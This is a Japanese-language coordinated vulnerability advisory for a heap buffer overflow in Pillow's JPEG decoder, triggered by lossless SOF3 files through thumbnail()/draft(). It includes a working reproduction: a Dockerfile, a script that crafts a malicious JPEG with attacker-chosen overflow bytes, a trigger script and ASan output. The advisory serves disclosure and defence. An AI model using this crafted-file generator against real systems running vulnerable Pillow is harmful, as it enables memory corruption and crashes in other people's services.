Pillow: ImagingJpegDecodeにおけるヒープバッファオーバーフロー

## 概要

`JpegImageFile.draft()` — これは`Image.thumbnail()`が自動的に呼び出す関数です — JPEGの1/2、1/4、または1/8に縮小された出力を行い、`self._size`とタイル範囲をそれらに合わせて縮小します。そのため、`_setimage()`は、`ceil(W/s)`個のサンプルを持つ、1行分のデコードバッファを割り当てます。`ImagingJpegDecode()`は、`cinfo.scale_num`/`scale_denom`を設定し、`jpeg_start_decompress()`を呼び出し、その後、そのバッファにスキャンラインを読み込みますが、`cinfo.output_width`、`cinfo.output_height`、または`cinfo.out_color_components`を`state->xsize`、`state->ysize`、および`state->bits`と比較することはありません。

libjpeg-turbo 3.xは、非可逆圧縮(SOF3)JPEGをデコードしますが、非可逆ストリームではスケーリングを行わないようにハードコードされており、要求された`scale_denom`は無視されます。したがって、バッファのサイズが`ceil(W/s)`であるにもかかわらず、フルサイズの`W`個のサンプルを持つ行が返されます。各`jpeg_read_scanlines()`の呼び出しで、`(W - ceil(W/s)) x components`バイトがヒープの割り当て領域の末尾を超えて書き込まれ、オーバーフローするバイトはデコードされたピクセル値であり、これは8ビットグレースケール非可逆画像のバイト単位で正確に一致します。

入力は規格に準拠したJPEGファイルであるため、`Image.open(..., formats=["JPEG"])`ではそれを防ぐことはできません。PillowのPython SOFパーサーは、すでに8ビット精度でマーカー`0xFFC3`("SOF3"、"Spatial lossless")を受け入れており、そのためファイルは通常通り、`JPEG`形式/モード`L`で、宣言されたフルサイズで開かれます。

## 影響を受けるコード

`e41083f383c9cd3db95de52564cc0b6452313d4a`(`main`、2026-08-29)で発生します。

- `src/libImaging/JpegDecode.c:224-262` — `ImagingJpegDecode()`; `jpeg_start_decompress()` が 240 行目、`jpeg_read_scanlines()` が 252 行目にあり、これらの間にはジオメトリのチェックが行われていません。
- `src/decode.c:222-231` — `_setimage()`; `state->buffer = calloc(1, state->bytes)` で、`state->bytes = (state->bits * state->xsize + 7) / 8` と計算されます。
- `src/PIL/JpegImagePlugin.py:428-464` — `JpegImageFile.draft()`; `s` を計算し、`_size`、タイル範囲、および `decoderconfig` を、非可逆圧縮の概念なしで縮小します。
- `src/PIL/JpegImagePlugin.py:271` — `0xFFC3: ("SOF3", "Spatial lossless", SOF)`.

```c
// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale_num = 1;
context->cinfo.scale_denom = context->scale;
}
...
case 2:
if (!jpeg_start_decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
```

`state->ysize` (`ceil(H/s)`) が `libjpeg` の `output_height` と等しくなることは、`s >= 2` の場合、決してないため、デコードは常に、行が既に書き込まれた後にエラーで終了します。呼び出し元は例外を受け取り、ピクセルデータは返されません。`OSError` は、オーバーフローの結果であり、報告されている問題そのものではありません。

## 脆弱性

1行あたり:`calloc(ceil(W/s) x c)` ブロックの直後で、`(W - ceil(W/s)) x c` バイトの連続した書き込みが行われます。ここで、`c = 1` はモード `L` の場合、4 は RGB (RGBX) および CMYK の場合です。この処理は、`ceil(H/s)` 行について、同じ領域で繰り返されます。バッファサイズクラスは、攻撃者によって `W` を通じて選択され、グレースケールの場合、オーバーフローする内容は、攻撃者が選択した任意のバイト文字列です。

以下の再現例で測定:1200x1100 モード `L`、`s=2` — 600 バイトの割り当てが行われ、その直後に 600 バイトが書き込まれ、ASan は、1200 バイトの行全体を `memcpy` として報告します。

閾値:`draft()`関数は、`s >= 2`を選択する必要があります。つまり、`W // requested_w >= 2`と`H // requested_h >= 2`が満たされる必要があります。デフォルトの`reducing_gap=2.0`で`thumbnail((256,256))`を実行する場合、`W`と`H`はそれぞれ1024以上である必要があります。

## 再現方法

自己完結型のDocker環境(Ubuntu 24.04、clang 20、libjpeg-turbo 3.1.4、Pillow。これらはすべてソースコードから`-fsanitize=address`オプションを使用してビルド。Pillowのバージョンは`${TARGET_COMMIT}`、デフォルトは`e41083f383c9cd3db95de52564cc0b6452313d4a`)。以下の3つのファイルを、それぞれ`Dockerfile`、`make_sof3.py`、`trigger.py`という名前で空のディレクトリに保存し、以下のコマンドを実行します。

```bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
```

`make_sof3.py`は、規格に準拠した8ビットグレースケール、可逆ハフマン符号化されたJPEGファイル(SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1`、予測器1、`Se=0`、`Ah=Al=0` / エントロピー符号化された行の差分 / EOI)を生成する、自己完結型のエンコーダです。このJPEGファイルの各行には、繰り返しのマーカーパターンが含まれています。`trigger.py`は、このファイルを読み込み、`thumbnail()`関数を呼び出します。`thumbnail()`関数内で暗黙的に呼び出される`draft()`関数は、`s=2`を選択し、600バイトの行バッファを割り当てます。

### `Dockerfile`

```dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
wget gnupg lsb-release software-properties-common \
python3 python3-dev python3-pip python3-venv zlib1g-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
```

```
# --- libjpeg-turbo 3.x (ロスレスSOF3サポート) をASanを用いてビルド ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
&& cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
-DCMAKE_C_COMPILER=clang-20 \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- 指定されたコミットのPillowを、そのlibjpegに対してASanを用いてビルド ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
/venv/bin/pip install --no-build-isolation --no-deps . \
&& ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
&& LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
/venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
```

### `make_sof3.py`

```python
#!/usr/bin/env python3
"""8ビットグレースケール、ロスレス・ハフマン(SOF3)JPEGを生成します。
```

ITU-T T.81 規格の付録 H (非圧縮モード)、予測器 1 (Ra) に準拠。
各行は、攻撃者が指定したマーカーバイトパターンをそのまま含みます (非圧縮であるため、完全に一致)。
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # 攻撃者が指定するバイト列で、バッファの範囲を超えて配置される

class BitWriter:
def __init__(self):
self.out = bytearray()
self.acc = 0
self.n = 0

def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # バイトのパディング
self.acc = 0
self.n = 0

def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)

# 標準的なハフマン符号: 17種類のシンボル (カテゴリ 0..16)、すべてコード長が5。
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d):
if d == 0:
return 0
return abs(d).bit_length()

def build_pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows

```
def main(path):
rows = build_pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()

out = bytearray()
out += b"\xff\xd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"\xff\xd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
```

```python
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)
```

検証された出力:

```
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 __asan_memcpy
#1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 は、600バイトの領域 [0x74e4e904a880,0x74e4e904aad8) の 0 バイト後にある場所に位置しています。
この領域は、スレッド T0 によって以下で割り当てられました。
#0 calloc
#1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
```

ネガティブコントロール(同じ画像):同じ寸法を持つ基本的なDCT JPEGは、サムネイルを問題なく作成できます。これは、libjpegが`draft()`によって計算されたとおりに、正確に1/2のスケールを適用するためです。

```
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
```

## 範囲と注意点

- `main` ブランチの `e41083f383c9cd3db95de52564cc0b6452313d4a` で再現されました。これは、2026年8月30日現在の `origin/main` と一致します。また、バージョン12.3.0でも報告されています。
- 関連する libjpeg ライブラリが、非可逆圧縮のデコードをサポートしている必要があります。具体的には、libjpeg-turbo >= 3.0 が必要です。公式の Pillow パッケージには、これが同梱されています。libjpeg-turbo 2.x または IJG libjpeg を使用した場合、行のデコードを開始する前に SOF3 が拒否され、影響はありません。
- デフォルト以外の Pillow の設定は使用されていません。`Image.thumbnail()` はデフォルトで `draft()` を呼び出し、問題を引き起こすデータはすべてファイルデータです。
- `draft()` を使用してファイルを読み込むパスでのみ影響があります。`open().load()` および `resize()` は、スケール 1 でデコードするため、影響はありません。`thumbnail()` を呼び出す前に `img.load()` を呼び出すか、`thumbnail(..., reducing_gap=None)` を使用することで、現在のアプリケーションではこの問題を回避できます。
- 同じコードパスでは、以下のケースは影響を受けません。SOF11 (算術非可逆圧縮) は、行のデコードを開始する前に `JERR_ARITH_NOTIMPL` エラーで失敗します。12ビットおよび16ビットの非可逆圧縮は、Pillow の `SOF()` 関数によって `bits == 8` が必要とされるため、拒否されます。SOF5-7/13-15 は、`JERR_SOF_UNSUPPORTED` エラーで失敗します。

## 貢献と情報開示

Anthropic が Claude を使用してオープンソースソフトウェアのセキュリティを調査し、Ada Logics が手動で検証しました。

このレポートは、Anthropic の調整された脆弱性情報開示ポリシー (https://www.anthropic.com/coordinated-vulnerability-disclosure) に従って作成されており、このレポートの日付から90日間の情報開示期間があります。

Claude (Anthropic) および Ada Logics に感謝します。

影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョンは 12.3.0 以前、13.0.0 で修正されました。